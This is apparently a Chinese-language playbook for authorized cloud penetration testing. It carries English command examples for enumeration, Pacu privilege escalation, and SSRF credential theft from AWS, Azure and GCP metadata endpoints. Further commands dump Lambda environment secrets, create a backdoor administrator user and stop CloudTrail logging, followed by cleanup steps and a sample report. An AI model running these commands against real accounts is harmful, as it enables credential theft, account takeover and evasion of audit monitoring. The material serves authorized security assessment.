conducting-cloud-penetration-testing

进行云渗透测试

何时使用

• 在生产部署之前对云环境执行授权的安全评估时
• 在重大架构变更或迁移后验证云安全控制措施时
• 当合规要求强制对云基础设施进行年度渗透测试时
• 通过模拟真实的基于云的攻击场景来测试事件响应准备情况时
• 评估跨多账户或多云环境中的横向移动风险时

请勿使用于针对云账户的未授权测试、测试云提供商基础设施本身（由责任共担模型覆盖），或在没有云提供商明确批准的情况下进行 DDoS 模拟。

前置条件

• 来自云账户所有者的书面授权和范围定义文档
• AWS、Azure 或 GCP 渗透测试政策确认（AWS 对大多数服务不再要求预先批准）
• 隔离的测试账户或明确限定范围的生产账户，并配有紧急访问流程
• 安装云特定的攻击性工具：Pacu（AWS）、ScoutSuite、Prowler、CloudFox
• 用于发现分类的 MITRE ATT&CK 云矩阵

工作流

步骤 1：定义范围和交战规则

基于责任共担模型建立测试边界。客户负责测试配置、IAM 策略、应用安全和数据保护。云提供商管理物理基础设施、虚拟机监控程序以及托管服务的内部实现。

Cloud Penetration Test Scope Document
=======================================
Target: AWS Account 123456789012 (Production)
Testing Window: 2025-02-24 08:00 UTC to 2025-02-28 18:00 UTC
Authorization: Signed by CISO, dated 2025-02-20

IN SCOPE:
  - IAM users, roles, policies, and cross-account trust
  - EC2 instances, security groups, and network ACLs
  - S3 bucket policies and data access controls
  - Lambda functions, API Gateway endpoints
  - RDS/DynamoDB access controls and encryption
  - EKS cluster RBAC and network policies
  - CloudTrail, Config, and monitoring gaps

OUT OF SCOPE:
  - AWS managed service internals (RDS engine, Lambda runtime)
  - DDoS attacks or volumetric testing
  - Physical infrastructure or hypervisor attacks
  - Social engineering of AWS support

EMERGENCY CONTACT: [email protected], +1-555-0199

步骤 2：侦察和云枚举

使用云特定工具枚举攻击面：暴露的服务、公网 IP、S3 存储桶、IAM 配置和元数据端点。

# ScoutSuite multi-cloud assessment
scout suite aws --profile target-account --report-dir ./scout-report

# Prowler comprehensive AWS security assessment
prowler aws -M json-ocsf -o ./prowler-output --profile target-account

# CloudFox for identifying privilege escalation paths
cloudfox aws --profile target-account all-checks

# Enumerate public S3 buckets
for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do
  aws s3api get-bucket-policy-status --bucket $bucket 2>/dev/null | grep -q "true" && echo "PUBLIC: $bucket"
done

# Check for IMDS v1 (vulnerable to SSRF)
aws ec2 describe-instances \
  --query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]' \
  --output table

步骤 3：IAM 权限提升测试

使用 Pacu 识别并利用 IAM 错误配置，这些配置允许从低权限起点提升到管理访问权限。

# Initialize Pacu session
pacu

# Set stolen or test credentials
set_keys --key-alias test-creds

# Run IAM enumeration modules
run iam__enum_users_roles_policies_groups
run iam__enum_permissions

# Check for privilege escalation paths
run iam__privesc_scan

# Common escalation paths to test:
# 1. iam:CreatePolicyVersion - Create new policy version with admin access
# 2. iam:AttachUserPolicy - Attach AdministratorAccess to self
# 3. iam:PassRole + lambda:CreateFunction - Create Lambda with admin role
# 4. iam:PassRole + ec2:RunInstances - Launch EC2 with admin instance profile
# 5. sts:AssumeRole - Cross-account role assumption without MFA condition

步骤 4：利用 SSRF 攻击云元数据服务

测试 Web 应用是否存在服务器端请求伪造漏洞，这些漏洞可以访问位于 169.254.169.254 的实例元数据服务（IMDS），从而窃取 IAM 角色凭证。

# Test for IMDS v1 access (no token required)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Test for IMDS v2 (requires token - more secure)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure IMDS equivalent
curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP metadata service
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

步骤 5：横向移动和数据访问

测试跨账户角色代入、VPC 对等连接和共享资源访问，以绘制横向移动机会。

# Enumerate cross-account role trusts
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS!=`null`]].[RoleName,Arn]' --output table

# Test cross-account assumption
aws sts assume-role \
  --role-arn arn:aws:iam::987654321098:role/CrossAccountRole \
  --role-session-name pentest-session

# Enumerate accessible S3 data with stolen credentials
aws s3 ls --recursive s3://target-bucket/ --summarize

# Check Lambda environment variables for secrets
aws lambda list-functions --query 'Functions[*].[FunctionName]' --output text | while read fn; do
  aws lambda get-function-configuration --function-name "$fn" \
    --query 'Environment.Variables' --output json 2>/dev/null
done

步骤 6：持久化和检测规避测试

测试组织的监控是否能够检测持久化机制，例如新的 IAM 用户、访问密钥、Lambda 后门或禁用 CloudTrail。

# Test: Create backdoor IAM user (authorized test only)
aws iam create-user --user-name pentest-backdoor
aws iam create-access-key --user-name pentest-backdoor
aws iam attach-user-policy --user-name pentest-backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Test: Disable CloudTrail (verify GuardDuty alerts)
aws cloudtrail stop-logging --name management-trail

# Test: Create Lambda for persistence (authorized test only)
# Verify: Did GuardDuty generate Stealth:IAMUser/CloudTrailLoggingDisabled?
# Verify: Did Security Hub alert on the new admin user?

# CLEANUP: Remove all persistence artifacts after testing
aws iam delete-access-key --user-name pentest-backdoor --access-key-id AKIAEXAMPLE
aws iam detach-user-policy --user-name pentest-backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-user --user-name pentest-backdoor
aws cloudtrail start-logging --name management-trail

步骤 7：报告发现并映射到 MITRE ATT&CK

将所有发现映射到 MITRE ATT&CK 云矩阵，并记录严重性、概念验证、业务影响和修复指导。

关键概念

术语	定义
责任共担模型	云安全框架，其中提供商保护基础设施，客户保护数据、配置和访问控制
IMDS	位于 169.254.169.254 的实例元数据服务，提供实例身份、凭证和配置数据；IMDSv2 要求基于令牌的访问
权限提升	利用 IAM 错误配置，从有限权限提升到云账户内的管理访问权限
横向移动	使用被盗凭证或信任关系访问其他账户、VPC 或云提供商中的资源
Pacu	用于渗透测试的开源 AWS 利用框架，提供用于枚举、提权和持久化的模块
ScoutSuite	多云安全审计工具，收集配置数据并生成带有风险发现的 HTML 报告
MITRE ATT&CK Cloud	针对云环境的攻击者战术和技术矩阵，包括初始访问、执行、持久化和数据外泄

工具与系统

• Pacu：专注于 AWS 的利用框架，包含针对 IAM、权限提升和持久化的模块
• ScoutSuite：多云（AWS、Azure、GCP）安全审计工具，通过 API 数据收集生成全面的风险报告
• CloudFox：AWS 和 Azure 枚举工具，用于识别攻击路径、权限提升途径和数据访问机会
• Prowler：开源云安全评估工具，覆盖 AWS、Azure 和 GCP 的 300 多项检查
• Cartography：基于 Neo4j 的工具，映射云资源之间的关系以进行可视化攻击路径分析

常见场景

场景：Web 应用中的 SSRF 导致完整账户沦陷

背景：渗透测试人员在一个运行 IMDSv1 的 EC2 实例上托管的 Web 应用中发现了一个 SSRF 漏洞。该实例具有拥有广泛 S3 和 Lambda 权限的 IAM 角色。

方法：

1. 利用 SSRF 访问 http://169.254.169.254/latest/meta-data/iam/security-credentials/
2. 提取临时 IAM 凭证（AccessKeyId、SecretAccessKey、SessionToken）
3. 使用凭证枚举可访问的 S3 存储桶并下载敏感数据
4. 检查该角色是否具有 iam:PassRole + lambda:CreateFunction 以进行权限提升至管理员
5. 记录从 SSRF 到账户级沦陷的完整攻击链
6. 建议：强制实施 IMDSv2、缩小 IAM 角色范围、添加阻止应用层访问 IMDS 的 VPC 端点策略

陷阱：未将 IMDSv2 强制执行与 IMDSv1 分开测试会导致结果不完整。未能清理测试产物（后门用户、Lambda 函数）会在交付后留下真实漏洞。

输出格式

Cloud Penetration Test Report
===============================
Target: AWS Account 123456789012 (Production)
Testing Period: 2025-02-24 to 2025-02-28
Methodology: MITRE ATT&CK Cloud + OWASP Cloud Testing Guide
Tester: Security Team - Authorized Engagement

EXECUTIVE SUMMARY:
  Starting with read-only developer credentials, the assessment achieved
  full administrative access to the production account within 3 hours through
  an IAM privilege escalation chain. 47 findings identified across 7 ATT&CK tactics.

CRITICAL FINDINGS:
[PT-001] IAM Privilege Escalation via iam:CreatePolicyVersion
  ATT&CK: T1098.001 (Account Manipulation: Additional Cloud Credentials)
  Severity: CRITICAL
  Starting Point: Developer role with iam:CreatePolicyVersion permission
  Impact: Full administrative access to all account resources
  Evidence: Created policy version granting iam:* and s3:* to test role
  Remediation: Remove iam:CreatePolicyVersion from developer roles, add permission boundary

[PT-002] SSRF to IMDS Credential Theft
  ATT&CK: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API)
  Severity: CRITICAL
  Starting Point: Web application URL parameter vulnerable to SSRF
  Impact: Extracted IAM role credentials with S3 and Lambda access
  Remediation: Enforce IMDSv2, apply WAF rules for SSRF, restrict IAM role scope

FINDING SUMMARY BY MITRE ATT&CK TACTIC:
  Initial Access:       4 findings
  Execution:            3 findings
  Persistence:          6 findings
  Privilege Escalation: 8 findings (3 Critical)
  Defense Evasion:      5 findings
  Credential Access:    7 findings
  Discovery:           14 findings
  Total:               47 findings